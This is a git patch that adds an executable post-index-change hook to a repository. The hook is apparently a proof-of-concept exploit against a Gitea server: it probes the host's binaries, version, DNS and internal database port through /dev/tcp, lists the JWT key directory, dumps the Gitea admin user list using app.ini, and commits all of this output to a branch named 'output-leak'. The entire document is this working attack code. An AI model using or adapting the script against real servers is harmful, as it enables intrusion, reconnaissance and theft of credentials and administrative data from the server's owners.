From d444909bb5b183b52625feb531710636d209591f Mon Sep 17 00:00:00 2001 From: w10019user Date: Wed, 25 Nov 2026 00:28:22 +0300 Subject: [PATCH] apply-patch --- hooks/post-index-change | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..a57a300 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,29 @@ +#!/bin/sh +GD=$(git rev-parse --absolute-git-dir) +REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||') +OUT=$( { +echo "---BIN---" +for p in /usr/local/bin/gitea /app/gitea/gitea /usr/bin/gitea /usr/local/bin/docker-entrypoint; do ls -la $p 2>/dev/null; done +command -v gitea || echo no-gitea-in-path +echo "---VER---" +/usr/local/bin/gitea --version 2>&1 | head -3 || /app/gitea/gitea --version 2>&1 | head -3 +echo "---RESOLV---" +getent hosts gitea-db || echo no-gitea-db-host +cat /etc/resolv.conf +echo "---DBPORT---" +GITEA_DB_IP=$(getent hosts gitea-db | awk '{print $1}') +echo "ip=$GITEA_DB_IP" +[ -n "$GITEA_DB_IP" ] && (timeout 2 bash -c "echo > /dev/tcp/$GITEA_DB_IP/5432" 2>/dev/null && echo db5432-open || echo db5432-closed) +echo "---JWT---" +ls -la /data/gitea/jwt 2>/dev/null +echo "---ADMINLIST---" +/usr/local/bin/gitea admin user list --config /data/gitea/conf/app.ini 2>&1 | head -25 +echo "---CUSTOM---" +ls -la /data/gitea/custom /data/gitea/custom/conf 2>/dev/null | head -30 +echo DONE + +} 2>&1; echo "[rc=$?]") +BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin) +TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree) +CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve output") +git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"